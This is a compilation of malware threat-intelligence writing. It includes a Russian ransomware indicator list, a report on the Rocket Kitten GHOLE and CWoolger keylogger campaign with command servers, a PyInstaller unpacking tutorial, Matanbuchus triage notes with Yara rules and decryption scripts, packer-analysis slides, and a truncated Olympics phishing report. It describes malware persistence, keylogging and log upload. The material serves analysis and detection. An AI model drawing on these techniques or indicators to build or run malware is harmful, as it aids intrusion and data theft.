внутри. - WinMgr.xml - run.bat - clean.bat - <random>.exe - случайное название вредоносного файла ### Расположения: - \Desktop\ - \User_folders\ - \%TEMP%\ - C:\ProgramData\WinMgr.bmp - C:\Programdata\WinMgr.xml - C:\Programdata\clean.bat - C:\Programdata\run.bat ### Записи реестра, связанные с этим Ransomware: См. ниже результаты анализов. ### Мьютексы: См. ниже результаты анализов. ### Сетевые подключения и связи: - Tor-URL: msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion - Email: [email protected] - BTC: 16Dr9JbevWqur7qPCkfxC6hj3ku7stbZGE ### Результаты анализов: - Hybrid analysis - VirusTotal analysis (WinMgr.bmp) - Intezer analysis - ANY.RUN analysis - VMRay analysis - VirusBay samples - MalShare samples - AlienVault analysis - CAPE Sandbox analysis - JOE Sandbox analysis Степень распространённости: средняя. Подробные сведения собираются регулярно. Присылайте образцы.
# Operation Woolen-GoldFish ## Introduction State-sponsored cyberwarfare is no different than physical battles or terrorist attacks in terms of scope and damage. Arguably, cyber attacks are much worse because the identity of attackers is easily concealed, slowing down any process that could bring perpetrators to justice. Attackers are also not restricted by time and location. Interestingly, Middle Eastern countries and some members of the European Union (EU) have recently figured in targeted attacks, either as aggressors or victims, for seemingly political reasons. At the recently concluded “31st Chaos Communication Congress of the Chaos Computer Club (31C3),” cybersecurity researchers discussed the ways and means by which threat actors can use widely available software to cover their tracks and carry out their campaigns. The focus of this particular lecture was the GHOLE malware used in targeted attack campaigns. GHOLE is believed to have been active since 2011 based on the compilation date of its oldest samples. Targeted attacks are well-planned cyberthreat activities aimed at specific organizations. In this paper, we delve into the malicious activities of a cyberthreat group, known in the cybersecurity industry as Rocket Kitten, which has been hitting different public and private Israeli and European organizations. Rocket Kitten has so far launched two campaigns—“GHOLE” malware attacks and one we have dubbed “Operation Woolen-GoldFish.” We named it as such because “Woolen” is attributed to the malware developer and one of the threat actors behind this campaign; “GoldFish” serves as an attribute to the location of origin with which the campaign was seemingly launched from. The Rocket Kitten group used spear-phishing emails to penetrate their target systems. Based on the malware samples we have obtained from files with macro malware specific to the GHOLE malware campaign, we found that they were mostly interested in the defense industry, the IT sector, government entities, and academic organizations. Certain details from the malware samples show that Operation Woolen-GoldFish was most likely a state-sponsored campaign. ## Victims and Targets The content of the files we have collected from this group of attackers is quite straightforward. They contain information that is very customized in relation to the target entity. Some files are written in German, while others contain information specific to just one vertical. All of these have been used for spear-phishing emails against various targets. Seeing the content of these files, we suspect they have all been used for spear phishing against the following: - Civilian organizations in Israel - Academic organizations in Israel - German-speaking government organizations - European organizations - European private companies ## The GHOLE Campaign In February 2015, the Trend Micro™ Smart Protection Network™ received an alert from Europe that triggered several targeted attack indicators related to a specific malware family, prompting our threat defense experts to investigate further. The alert showed an infected Microsoft™ Excel® file that soon proved to have been launched by Rocket Kitten. When a user opens the Excel file attachment in the spear-phishing attempt, a .DLL file is dropped onto the system and is executed using a macro embedded in the file. Macros are small scripts within files that are usually used to automate common repetitive tasks. However, these can also be used for malicious intent, such as infecting machines of unsuspecting users with malware, just like in this situation. Trend Micro detects the malware as TROJ_GHOLE.A. It is common for Rocket Kitten to use GHOLE in their targeted attack campaigns. The dropped .DLL file (SHA1 hash: 07a77f8b9f0fcc93504dfba2d7d9d26246e5878f; BKDR_GHOLE.B) is scanned on VirusTotal, but there were no results, raising further interest to analyze the binary. The .DLL file contained an export function named “function,” instead of the usual “gholee,” found in previous samples from this malware family. We suspect that the attacker did this on purpose so the malware can bypass detection and stay within the targeted system that would eventually give it more freedom to move laterally. ### Export Function: Function The top-right boxed code in the screenshot shows an unusual code that uses “push” to pass values. When passed to WINAPI, it will look like a string on stack. The first block contains the address of the command-and-control (C&C) server of the malware, which is located at IP address 83.170.33.60. This value is specified in the code. The second boxed code in function, ZKXdu80x, is the client version. The third is an encryption key with a length of 256 bytes (2,048 bits) used for network communications, and starts with the pattern, GET /index.php?c=xxxxxxxx&r=xxxxx&u=1&t=. In all samples we have analyzed, the “c” argument is 8 bytes long and differs across variants. The “r” argument has a variable length, 5–7 bytes; the “u” argument is always 1 byte long. Other communication patterns can be found in the binary and can be used as indicators of compromise: - index.php?c=%s&r=%lx - index.php?c=%s&r=%lx&u=1&t=%s - index.php?c=%s&r=%x ## Related Samples We found several Microsoft Office® files containing variants of the GHOLE malware family that were used to infect machines. As the Excel spreadsheet used in this campaign is disguised to look relevant and important, users were prompted to open it and execute the embedded macro. The use of macros to infect computers is deemed amateur. This shows that there is a gap between the maturity of the malware, which is good enough for its purpose, and the way it is delivered, which raises questions about the attackers’ professional capacity. We decided to look at the spear-phishing attempts from a wider perspective and analyzed more samples from this malware family. Based on available evidence, only the Rocket Kitten group is known to have used GHOLE in the attacks related to Operation Woolen-GoldFish. It is interesting to note that the GHOLE malware is in fact a modified CORE IMPACT® product. CORE IMPACT is a sophisticated penetration-testing tool from CORE, a legitimate company. ## Use of Malware Scanner During the course of this investigation, we found out that some samples of the GHOLE malware have been submitted to an online-malware-scanning site, av.zerodays.ir, to estimate the detection rate of their malware. Three samples appeared to have been scanned using this service before they appeared elsewhere. One sample was submitted 26 days before it was scanned in other online malware analysis service sites. This led us to believe that the malware controllers submitted the original samples to the av.zerodays.ir system themselves. We would like to point out that the av.zerodays.ir online service is free and available to everyone on the Internet. ## GHOLE Malware Communication and Control The communications established by this malware family from an infected workstation to the C&C server are done by directly communicating with the IP addresses hard-coded in the binaries. There were no domain names involved in this campaign. We were able to obtain a list of C&C servers, which are mostly hosted in Germany, via a satellite communication service provider known as Industrieanlagen-Betriebsgesellschaft mbH (IABG): - 83.170.33.37 - 83.170.33.60 - 83.170.43.67 - 83.170.33.80 - 84.11.26.230 - 84.11.75.220 - 84.11.146.55 The last IP address, 84.11.146.55, was associated with one malware sample. It belongs to IABG with only the following information available: - inetnum: 84.11.146.0 - 84.11.146.255 - netname: DE-IABG-TELEPORT-ERTEBATAT - descr: IABG - Teleport customer Ertebatat - country: DE The other IP addresses were used by different malware samples. These IP addresses also belonged to IABG and could all be connected to the same customer. In fact, all of the IP ranges on which these C&C servers are identified belonged to one customer, who rents the following IP ranges from IABG: - 84.11.26.224–84.11.26.255 - 84.11.37.128–84.11.37.159 - 84.11.75.192–84.11.75.255 - 83.170.33.32–83.170.33.63 - 83.170.33.64–83.170.33.95 - 83.170.43.64–83.170.43.95 ## Operation Woolen-GoldFish: Rocket Kitten’s New Campaign ### Point of Entry Sending out spear-phishing emails is a common technique used as a point of entry in the initial stage of compromise. It is, in fact, still widely used in attempts to gain privileges in targeted companies’ systems. Several social engineering tricks can be used to make a user click a link or open a file. One of the spear-phishing emails sent out by the Rocket Kitten group looked like a simple office correspondence. The attachment was a Microsoft Office file. User participation is needed to execute the macros in the file. If the user does not run the macros, the computer will not be infected by the GHOLE malware. By the end of 2014, however, we saw significant changes in the attack behavior of the Rocket Kitten group in terms of spear-phishing campaigns and malware infection scheme. The second spear-phishing email sample has been sent to one target in Israel. This email sample was sent sometime in February 2015. This also used the identity of a recognized Israeli engineer. ### Initial Compromise The attackers used a OneDrive link in their campaign. OneDrive is a free online cloud storage system from Microsoft that comes with several gigabytes of data storage capacity. The OneDrive link leads to an archive file containing a file named “Iran’s Missiles Program.ppt.exe.” This file, which has been taken offline, used the PowerPoint icon but was really an executable file. The attackers probably decided to store their malicious binaries online rather than send them as an attachment to bypass email detection. Once executed, the file drops a nonmalicious PowerPoint file used as a decoy file, while silently infecting the system with a variant of the CWoolger keylogger. We decided not to show the content of this file given the sensitivity of the persona impersonated in this social engineering lure. Rocket Kitten has signed pc12 at the last modified section of some of the files used in their spear-phishing activities. We do not know if this string refers to one Rocket Kitten member or to a third party, who could have edited the files. The latter is very unlikely though, since it has been used both in campaigns and files aimed at different targets. We believe pc12 is, indeed, an indicator of Rocket Kitten activities. ## Possible Attribution ### Wool3n.H4t Cybercriminals quite often forget about metadata, which is generated by the software they use to produce or modify the files. Those who are more meticulous alter this information to lead investigators to false tracks. Different authors worked on these files. Wool3n.H4t seemed to be the main author who collaborated with aikido1 and Hoffman. No particular information could be found on aikido1 and Yusi, the supposed partners of Wool3n.H4t. There were also times when Wool3n.H4t used U.S. and U.K. country codes as last modification information. The most recent modification in the two PowerPoint files told us that Wool3n.H4t slowly changed his infecting methods around October 2014. There was not much information on Wool3n.H4t, which is not a common nickname, on the Internet. However, we found that this nickname owned an inactive blog hosted by a free service in Iran and was registered in several underground hacking forums. The blog only contained two posts signed by Masoud_pk, which could be part of the real identity of Wool3n.H4t. Masoud is one of the top 50 commonly used first names in Iran. ### Wool3n.H4t’s Recent Activities: CWoolger Keylogger One malware sample (SHA1 hash: d5b2b30fe2d4759c199e3659d561a50f88a7fb2e; detected as TSPY_WOOLERG.A) surfaced as we tried to look for more information on Wool3n.H4t. We took interest in this because the binary contained the following debug string: - C:\Users\Wool3n.H4t\Documents\Visual Studio 2010\Projects\C-CPP\CWoolger\Release\CWoolger.pdb Debug strings are strings that are sometimes left behind in binaries, revealing information about the developer behind the code. This debug string shows us that the binary was compiled by a user account named “Wool3n.H4t,” and that the project behind this code was dubbed “CWoolger.” This malware is a keylogger, although from a technical point of view, it is not as advanced as its contemporaries. The malware also embedded some File Transfer Protocol (FTP) credentials of the attackers in clear text in the binary. Consistent with the other malware used by the threat actors involved in Operation Woolen-GoldFish, the C&C reference is hard-coded as an IP address in the binary. A domain name was not used. Moreover, it lands on the system with a name, which is very similar to some GHOLE malware variants, NTUSER.dat{…}.exe. The malware starts by creating a mutex called “woolger” and creates a copy of itself, %TEMP%\NTSuser.exe, in the TEMP folder before executing it. It creates a VBScript in the same folder named “wsc.vbs.” The script installs the persistence mechanism of the malware, a link named “WinDefender,” in the startup folder, which uses the Notepad icon. It then enables keylogging by calling the SetWindowsHookExW application programming interface (API) and calls SetTimer API to prepare a timer job for uploading the log files. Once the machine is infected, the keylogger records all keystrokes in %temp%/wlg.dat using the following format: ``` ********************************************************* [Windows Title] – [Application Name] ([Language]) ********************************************************* [Context] ``` The upload function of this malware ran at specific intervals based on a previous random value. If the log file is larger than 3,000 bytes, an uploadToCnC function will be called to transfer the log file via FTP. The C&C server reached in our sample is 107.6.181.116, which belongs to SingleHop (AS32475). The credentials used to connect with the FTP server are hard-coded in clear text in the binary. When the file is sent to the server, it is renamed using the following format: ``` LOG_(UserName)_[tm_year]_[tm_mon]_[tm_mday]_[tm_hour]_[tm_min]_[tm_sec] ``` ## Indicators of Compromise - The GHOLE malware campaign infiltrates networks via a spear-phishing email with an attachment containing a malicious macro. It could also contain a malicious link that leads to Microsoft OneDrive, where the malicious file is hosted. - The GHOLE malware campaign also sends a GET request to the C&C server, starting with the pattern, GET /index.php?c=xxxxxxxx&r=xxxxx&u=1&t=. - Other network communication patterns: - index.php?c=%s&r=%lx - index.php?c=%s&r=%lx&u=1&t=%s - index.php?c=%s&r=%x - It uses malware for the final payload detected as GHOLE or WOOLERG. ## Conclusion Operation Woolen-GoldFish is alive and active. From a technical point of view, the threat actors involved in this campaign are less mature in terms of technical capacity and tactic sophistication compared with other targeted attack groups we are monitoring, yet they are improving and gaining traction. The spear-phishing email attacks are getting a little more aggressive and now have less user interaction at the point of entry. Nevertheless, it is unfortunately not because an attacker is inferior in skills that there are fewer victims. Operation Woolen-GoldFish has managed to successfully infiltrate several companies and organizations in Israel and Europe. One PowerPoint file used as a lure in spear-phishing attempts seems to indicate that the group has successfully victimized one well-known engineer in Israel and used one of his unreleased files as bait. Time and again, lack of proper security understanding and implementation has led individual and corporate users around the world to fall victim to creative malicious activities of threat actors. Threat actors are also known to be multiskilled. In this case, we were able to confirm that Wool3n.H4t was not only responsible for most of the infecting Office files used, but was also capable of developing malware. The discovery of the CWoolger keylogger compiled on 7 February 2015 may be the strongest indication that this targeted attack group, where Wool3n.H4t seems to be a part of, is very active and may be developing its own malware. With Wool3n.H4t as both the malware developer and infrastructure controller, it can be loosely deducted that the group comprises very few people. Seeing the evolution of this targeted attack group, we believe its members, especially Wool3n.H4t, are traditional or old-fashioned cybercriminals. This assumption is based on the way the campaign spreads and evolves, including the use of nicknames and passwords used by Wool3n.H4t, which indicates that he rather comes from an underground hacking group. This campaign, like the first one the group launched, shows that the targeted entities do have a particular interest for the Islamic Republic of Iran. While motives behind targeted attack campaigns may differ, the end results are one and the same—shift in power control, either economically or politically.
# Unpacking Python Executables on Windows and Linux Traditional programs written in the Python programming language are distributed as source code, and the Python interpreter is used to run them. This is easy if one runs their own Python code; however, it is rather cumbersome to deliver commercial products this way. To help with that, a couple of projects were created that can bundle a Python program with all its dependencies into an executable file: Portable Executable (PE) on Windows and Executable and Linkable Format (ELF) on Linux/Unix. Python malware is also distributed as such packed executables. The question always comes up, “how can we unpack and decompile the malware to look at its Python source code?” I discussed this topic in a video I created two years ago. But since then, new Python versions have come out, and the unpacking techniques have changed. ## Affected Platforms: Windows, Linux/Unix ## Packing First of all, let’s discuss what Python packaging is—and specifically, PyInstaller. (Note: I use the terms packaging, packing, and bundling interchangeably.) The goal of packaging a Python program is to create an executable that can run independently on an operating system. We should not confuse this with general malware packing, where the goal is to hide malicious code from analysts and security tools. Python packaging does not intend to provide any security or obfuscation; it is only a side effect of the packaging. When we bundle a Python program, the tool that we use for packaging, such as PyInstaller, does the following: - Compiles all .py source files to Python bytecode (.pyc files) - Collects all Python compiled source code and Python dependencies - Includes the operating system-dependent Python interpreter (i.e., libpython3.9.so.1.0 on Linux or python37.dll on Windows) - Bundles all this with a stub that first unpacks these files to disk or memory and then executes the original Python code with the included interpreter. While there are a few projects that can create such packaged executables, the most well-known is PyInstaller. To understand how packaging works, we create a packed Python executable on Windows. We can easily run this program in a Windows terminal. To turn this Python program into a packaged EXE file, we can use PyInstaller, which I installed in a Python virtual environment. It is worth your time to scroll through the logs since they give some insight into what PyInstaller does under the hood. Once finished, the newly created evil_program.exe is listed under the \dist\ folder. We can run this executable and get the same result as directly running the code. The big difference is that we can now move this EXE file to another Windows machine, and it should run standalone without any Python dependency. ## Unpacking Python < 3.9 on Windows Now that we have a packed EXE file, we can try to revert it back to Python source code. In a real reverse engineering scenario, the first question is usually, “how do we find out that the analyzed binary is a packed Python program?” The most common clue is that we will see a lot of strings starting with py. Specifically to PyInstaller, we will also see the string MEIPASS in the binary. The second question is, “which Python version is used by the program?” The easiest way to find this out is to run the program and monitor what files are created in the operating system’s (OS) temporary folder. That’s because PyInstaller first unpacks all files in the temporary folder. By monitoring the filesystem activity, we can see that the python38.dll is saved in the temporary folder. This tells us that Python 3.8 was used to create the packed program, and therefore we will need the same Python version for all further analysis. To recover the source code, we have to tackle two challenges: 1. Unpack all files from the EXE file. That will give us compiled Python bytecode (.pyc) files. 2. Decompile the interesting .pyc files. The process of unpacking the EXE file will be similar in all versions of Python under all operating systems. The bigger challenge is decompiling the .pyc files because that changes in every Python version, and tools only work with specific versions. For unpacking this EXE file, we will use pyinstxtractor. Just download the pyinstxtractor.py to the folder where you want to work with it. An important detail to note is that the Python interpreter used must be the same version as the packed Python program. Another important detail is that pyinstxtractor also provides hints as to which files could be the main file of the Python program. There are often some false positives, but this is still a huge help if the analyzed project is big. In this case, we know that the main file is evil_program.pyc. The EXE is unpacked into the evil_program.exe_extracted folder. The next step is to decompile the evil_program.pyc. For that, we will use a tool called uncompyle6. Again, this is a point where one must be conscious about the Python version and consult the documentation of the tool being used for decompilation. Uncompyle6 only supports up to Python 3.8. After that, you will have to look for another tool. The decompilation process is shown. With that, we have reached our goal and recovered the source code of this simple packed Python program. ## Unpacking Python >= 3.9 on Linux In this section, we are going to go through the same process under Linux using a newer Python version. The file we will analyze is a real malware sample that we found on VirusTotal during our recent threat hunting. More information about this binary can be found on VirusTotal. Once I reverse engineered the file, I thought it would be interesting to write a blog post about the unpacking process. We are not going to focus on the analysis of the sample in this post. To unpack the sample, we again use pyinstxtractor, but with a twist. The sample is a 64-bit ELF binary. We cannot use pyinstxtractor directly on the ELF binary. So, we first need to dump the pydata section of the file into a separate file and run pyinstxtractor on that. The unpacking is shown. Again, we need to be conscious of using the correct Python version, which in this case is 3.9. The fact that there is a RansomWare.pyc in the unpacked data makes it obvious what we are dealing with. With Python 3.9, we can no longer use uncompyle6. Instead, we can use a tool like Decompyle++, which is a very promising project that uses a different, more generic approach to decompilation. However, building the project is not very well explained on the website. To call the pycdc command from anywhere, we can also run sudo make install. The pycdc command is the decompiler, so we use that to recover the source code of the RansomWare.pyc. With that, we have reached our goal of recovering most of the original source code of RansomWare.py. Unfortunately, we may also see functions where decompilation failed at some point. This also happens in Java and .Net when we decompile the bytecode. Sometimes, the decompiler fails, and we only get partial code. In such cases, we need to find other ways to determine what happened in that function, such as dynamic analysis. In this case, we can use the pycdas command to recover the ‘disassembled’ bytecode. There we can look up the functions where the decompilation failed. At the beginning of this section, I mentioned that we won’t be analyzing the sample. It looks like ransomware; the Python code was written for Windows but packed as an ELF executable, which usually runs on Linux/Unix systems. This may indicate that the sample is intended for the Windows Subsystem for Linux (WSL). But that’s a story for another blog post. ## Conclusion In this blog post, we covered how to unpack and decompile Python programs packaged with PyInstaller. We also discussed the following scenarios: - Windows - Linux - Python versions greater or equal to 3.9 - Python versions lower or equal to 3.8 Reverse engineering Python malware can be very useful because we can analyze it at a source code level, which is much more efficient. ## Fortinet Protection The analyzed ransomware sample in this blog is detected by the following (AV) signature: ELF/Filecoder.IG!tr. Since PyInstaller writes the unpacked files on the disk before executing it, FortiEDR is also able to identify the malicious content.
# Matanbuchus Triage Notes ## Overview Matanbuchus is a malware downloader that has been observed as the final loading stage in multiple phishing campaigns. There are two components: a Matanbuchus loader intended to load the Matanbuchus downloader. Once the downloader is executed, it makes an HTTP request to the C2 with some victim info and downloads the final payload. According to DCSO CyTec, Matanbuchus is the name given to a Malware-as-a-Service sold on Russian-speaking cybercriminal forums. Starting at a rental price of $2,500, the malware consists of an obfuscated two-stage loader which has been deployed in conjunction with Qakbot and Cobalt Strike payloads. ## Analysis The DLL has an export called `HackCheck` that uses `OutputDebugStringA` to print `start dll HackCheck`. The sample uses API hashing with FNV1a hash algorithm to resolve API calls. ### Yara Rule This Yara rule is very brittle and needs lots of testing/refining. ```yara rule matanbuchus { meta: description = "Identifies matanbuchus" strings: $x1 = { 69 c2 93 01 00 01 50 b9 01 00 00 00 c1 e1 00 } $x2 = { 0f be 1c 01 33 de 6a 00 6a 01 } condition: all of ($x*) } ``` ### Yara Rule Revised ```yara rule matanbuchus { meta: description = "Identifies matanbuchus" strings: $x1 = { 69 ?? 93 01 00 01 } $x2 = { B8 4D 5A 00 00 } $x3 = { 81 38 50 45 00 00 } $x5 = { 66 E9 DD 4D } $x6 = { BC 8B CF F4 } $x7 = { 3F 82 58 52 } $x8 = { 66 E9 DD 4D } condition: all of ($x*) } ``` ### String Decryption #### Simple Decryption Some strings are built as stack strings then copied into a buffer and returned from a function. The returned buffer is then decrypted directly using a simple XOR decryption routine where the first byte is the key. ```python import struct data = b'jl8|tt8Py{s[p}{s' key = struct.pack('<I', 0x796C6B18) data = key[1:] + data out = [] for i in data: out.append(i ^ key[0]) bytes(out) ``` #### Complex Decryption Other strings are also built from stack strings in a function and returned in a buffer, but these strings are decrypted with a second function call to a decryption function. To handle these more complex strings, we will use Dumpulator. ```python from dumpulator import Dumpulator import struct import re import pefile file_data = open('/tmp/mat.bin', 'rb').read() pe = pefile.PE(data=file_data) dp = Dumpulator("/tmp/mat.dmp", quiet=True) fn_get_string = 0x708641C0 ss_start = 0x708631B2 ss_end = 0x708632AA dp.start(ss_start, end=ss_end) ss = dp.read(dp.regs.ebp - 0x50, 0x48) ss = bytes(ss)[:0x3e] buff = dp.allocate(0x3e) dp.write(buff, ss) fn_dec_str = 0x7086F3D0 dp.call(fn_dec_str, [buff, 0x3e, 0x0, 0x7ebbfa3, 0x1010101]) dp.read(buff, 0x3e) ``` ### Dumpulator Notes The DLL uses thread-safe functions that require a call into `EnterCriticalSection` and `LeaveCriticalSection`. Because our dump was taken before the DLL was initialized, the critical section object was not initialized, causing Dumpulator to crash. Our solution is to patch out the `EnterCriticalSection` and `LeaveCriticalSection` calls in the loaded `ntdll` using a simple return 0. ```python dp = Dumpulator("/tmp/mat.dmp", quiet=True) ntdll_start = 0x77a10000 patch_bytes = b'\x33\xC0\xC2\x04\x00' ptr_RtlLeaveCriticalSection = 0x77A5FFF0 ptr_RtlEnterCriticalSection = 0x77A5FDF0 get_str_fn = 0x70861000 dp.write(ptr_RtlLeaveCriticalSection, patch_bytes) dp.write(ptr_RtlEnterCriticalSection, patch_bytes) dp.call(get_str_fn) ``` ### Final Config Decryptor ```python import re import struct import pefile def xor_decrypt(data, key): out = [] for i in range(len(data)): out.append(data[i] ^ key[i % len(key)]) return bytes(out) def is_ascii(data): return re.match(B"^[\s!-~]+\0*$", data) is not None def get_strings(file_path): file_data = open(file_path, 'rb').read() stack_strings = [] string_egg = rb'(?P<a>(?:\xC6\x85.{5}){0,})(?P<b>(?:\xC6\x45..){3,})' for m in re.finditer(string_egg, file_data): match_data = m.group(0) stack_strings.append({"data": m['a'][6::7] + m['b'][3::4], "match": match_data}) keys = [] key_byte_len_egg = rb'\x68(....)\x68(....)\x6a\x00\x6a(.)' for m in re.finditer(key_byte_len_egg, file_data): keys.append({'key': m.group(2) + m.group(1), 'length': ord(m.group(3))}) key_dw_len_egg = rb'\x68(....)\x68(....)\x6a\x00\x68(....)' for m in re.finditer(key_dw_len_egg, file_data): keys.append({'key': m.group(2) + m.group(1), 'length': struct.unpack('<I', m.group(3))[0]}) out_strings = [] for sj in stack_strings: s = sj.get('data') str_len = len(s) flag_found = False tmp_out = [] for k in keys: if k.get('length') == str_len: out = xor_decrypt(s, k.get('key')) if is_ascii(out): tmp_out.append(out) if len(tmp_out) == 0: out = xor_decrypt(s[1:-1], bytes([s[0]])) if is_ascii(out): out_strings.append(out) elif len(tmp_out) == 1: out_strings.append(tmp_out[0]) else: for out in tmp_out: if out[:-3].lower() == b'dll': out_strings.append(out) break return list(set(out_strings)) ``` ### Testing All Samples ```python import os for filename in os.listdir('/tmp/samples'): if filename.endswith(".bin"): file_path = os.path.join('/tmp/samples', filename) print(f"\n{file_path}") print(get_strings(file_path)) ``` ### Sample Using ADV String Obfuscation A newer sample uses some type of ADV string obfuscation. The start of the `.text` section contains a vtable with all of the string decryption functions. ### Taking a Closer Look At Obfuscated Samples These samples appear to be the same but the earlier sample uses obfuscated string encryption, while the newer sample uses the simpler stack-based string encryption. ### Conclusion With these older samples, there are three different string decryption methods used: 1. Stack strings built with DWORDs that are decrypted using a single byte XOR. 2. Global strings that are generated using constructors with some light obfuscation. 3. The third and most complex method relies on two calls to functions used to build the encrypted string and then a simple single-byte XOR to decrypt the string.
# RAMBO: Run-time packer Analysis with Multiple Branch Observation **Xabier Ugarte-Pedrero, Davide Balzarotti, Igor Santos, Pablo G. Bringas** University of Deusto, Cisco Talos, Eurecom ## Outline - Why multi-path exploration for packers? - Approach - Domain-specific optimizations - Heuristics - Evaluation - Discuss the results ## Run-time packers - Widely used by malware authors to obfuscate/protect their code. - 2 main goals: - Hide the original code from static analysis. - Implement anti-analysis methods: - Anti-debug - Anti-dump - VM / Sandbox / Tool detection - Making both automated and manual analysis more difficult. ### Shifting-decode-frames - Also known as “partial code revelation”. - Takes advantage of the limitation of dynamic analysis: - Single path! - Decrypt code/data on-demand. - Prevent “run and dump”. - Used by certain “advanced” protectors (i.e. Armadillo). - Presented in academic literature (Bilge et al.). - Compile time function based protection. ## Multi-path exploration - Computationally complex, especially with obfuscated (even self-modifying) code. - Does not scale to real-world, large, complex malware. - Can we apply optimizations to multi-path exploration for this specific use case? ## Some intuitions... - We do NOT need to explore every single path in the binary, just enough paths to uncover all the interesting regions. - We do NOT need to understand which are the conditions to reach each path (unlike other use-cases, such as vulnerability analysis). - We do NOT need to maintain the environment/system perfectly consistent. We just need to ensure that the execution is stable enough to uncover the protected regions. ## Baseline implementation - Based on the concepts presented by Moser et al. - Bitblaze platform: - Dynamic taint analysis (Temu): - Taint result of function calls: - Network/file/argument/time related. - Symbolic analysis (Vine): - Based on Weakest precondition & queries to STP. - Concrete address for indirect memory accesses. - System-level snapshots: - Heavier, but we avoid dealing with system level inconsistencies: handles, open files, sockets. ## Optimizations 1. Partial symbolic execution: Only execute certain regions of interest. 2. Inconsistent multi-path exploration: Ignore path constraints if solver cannot provide a solution. Give priority to paths that can be solved consistently. 3. Sacrifice global consistency: Maintain consistency only for the regions of interest. 4. Discard long traces. 5. Bypass blocking API calls. 6. String comparisons: Our model avoids exploring string comparison API calls. We taint the output whenever input arguments are tainted. This relaxes the constraints, allowing certain inconsistencies. ## General workflow **Approach:** 1. Extract unpacked memory regions (frames): - Generically detect the frames & dump at the appropriate point. - Previous work: Deep Packer Inspection. 2. Process extracted code (disassemble, compute CFG). 3. Find interesting points in the code (specific instructions). 4. Compute which paths lead to these points. 5. Prioritize these paths during multi-path exploration. ## Heuristic Decide which paths should be expanded first: - Several paths can trigger the execution of a region. - We can skip paths that can only lead to regions already unpacked. ### Heuristic Steer the execution to the interesting points: - JMP & CALL instructions that we have not executed in any run, but if they lead to a region that has not been unpacked yet. - CJMP instructions leading to protected regions that have not been executed (but were unpacked) if we have only explored one of their paths. - Direct memory access (address not unpacked yet). - Indirect calls (explore all the paths to these points). - Immediate values that fall in the range of a protected memory region (may represent a memory access). ### Heuristic Also need to consider inter-procedural CFG: - Explore all the paths that lead to a function, if it contains “points of interest”. **Path selection during MPE:** - Breadth First Search: - Incrementally expand all the paths in the tree. - Prioritize other paths over loops. - Prioritize branches with the lowest number of expansions. - Prioritize paths that can be forced consistently over inconsistent ones. ### Heuristic Last resort: path bruteforcing: - Set maximum number of expansions for each branch. - When this limit is reached for all the tainted branches: - Force the alternative path of non-tainted branches (INCONSISTENT!). - Introduces inconsistencies, but can be useful to: - Bypass loops or control structures with very complex internal logic depending on input (e.g., Parsers). - In some cases, we just need to jump to some point in the code to trigger its unpacking. ## Evaluation **Case study #1: Backpack + Kaiten IRC Bot** - Compile-time packer proposed by Bilge et al. - Function based granularity. - Kaiten: IRC bot that connects a channel and receives commands. | Iteration | Functions unpacked | Interesting points | Cjmps | Snapshots | Tainted-consistent cjmps | Tainted-inconsistent cjmps | Untainted cjmps | Long traces discarded | Time | |-----------|--------------------|--------------------|-------|-----------|--------------------------|----------------------------|------------------|-----------------------|------| | 0 | 5/31 | - | - | - | - | - | - | - | 5m | | 1 | 11/31 | 52 | 36 | 167 | 161 | 6 | 0 | 6 | 24m | | 2 | 27/31 | 96 | 110 | 544 | 525 | 19 | 40 | 0 | 1.2h | | No Heur. | 8/31 | - | - | 6015 | 5888 | 127 | - | - | 8h | **Case study #2: Armadillo** - Page based granularity (based on memory protection). - Protected 2 bots: SDBot, SpyBot. | Iteration | Functions unpacked | Interesting points | Cjmps | Snapshots | Tainted-consistent cjmps | Tainted-inconsistent cjmps | Untainted cjmps | Long traces discarded | Time | |-----------|--------------------|--------------------|-------|-----------|--------------------------|----------------------------|------------------|-----------------------|------| | 0 | 2/7 | - | - | - | - | - | - | - | 30m | | 1 | 4/7 | 3 | 65 | 14 | 13 | 1 | 0 | 1 | 2.2h | | 2 | 6/7 | 2 | 162 | 366 | 295 | 71 | 1 | 14 | 2.8h | | 3 | 7/7 | 7 | 264 | 367 | 296 | 71 | 1 | 14 | 3.2h | | No Heur. | 4/7 | - | - | 3974 | 3660 | 314 | - | - | 8h | **SPYBOT** | Iteration | Functions unpacked | Interesting points | Cjmps | Snapshots | Tainted-consistent cjmps | Tainted-inconsistent cjmps | Untainted cjmps | Long traces discarded | Time | |-----------|--------------------|--------------------|-------|-----------|--------------------------|----------------------------|------------------|-----------------------|------| | 0 | 3/9 | - | - | - | - | - | - | - | 30m | | 1 | 8/9 | 26 | 163 | 113 | 17 | 96 | 17 | 9 | 3h | | 2 | 9/9 | 1 | 214 | 153 | 31 | 122 | 34 | 34 | 2.75h | | No Heur. | 6/9 | - | - | 4466 | 4096 | 370 | - | - | 8h | ## Conclusions - Plain vanilla multi-path exploration was not able to recover the code in a reasonable time (even with partial/inconsistent exploration). - With heuristic: - Almost 100% recovery of code/data. - Significant reduction of time/resources when applying heuristics. ## Discussion - Strong limitations for sample selection: - For backpack, we needed Linux-based source code. - We needed sufficiently complex samples: - For Armadillo, several pages of code. - Complex parsing routines or logic. - We needed non-packed samples: - Otherwise, the packer would reveal all the original code at once. - Simple malware families execute most of the code in a single run (we needed bots). ## Discussion - Technical complexity of protectors may affect multi-path exploration: - Calling convention violation. - Alternative methods to redirect control flow (push + ret, indirect calls, SEH/VEH based…). - Resource exhaustion (intentionally introduce complexity to exhaust time-consuming analysis engines such as emulators). - Nanomites (substitute branches by interrupts, compute the branch in a separate region of code or process). ## Questions! - talosintelligence.com - blog.talosintel.com - @talossecurity
# Malicious Document Targets Pyeongchang Olympics By Ryan Sherstobito and Jessica Saavedra-Morales on Jan 06, 2018 McAfee Advanced Threat Research analysts have discovered a campaign targeting organizations involved with the Pyeongchang Olympics. Attached in an email was a malicious Microsoft Word document with the original file name 농식품부, 평창 동계올림픽 대비 축산 악취 방지대책 관련기관 회의 개최.doc (“Organized by Ministry of Agriculture and Forestry and Pyeongchang Winter Olympics”). The primary target of the email was [email protected], with several organizations in South Korea on the BCC line. The majority of these organizations had some association with the Olympics, either in providing infrastructure or in a supporting role. The attackers appear to be casting a wide net with this campaign. The campaign to target Pyeongchang Olympics began December 22, 2017, with the most recent activity appearing December 28. The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file, and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script. They also wrote custom PowerShell code to decode the hidden image and reveal the implant. ## Analysis The malicious document was submitted from South Korea to Virus Total on December 29 at 09:04, a day after the original 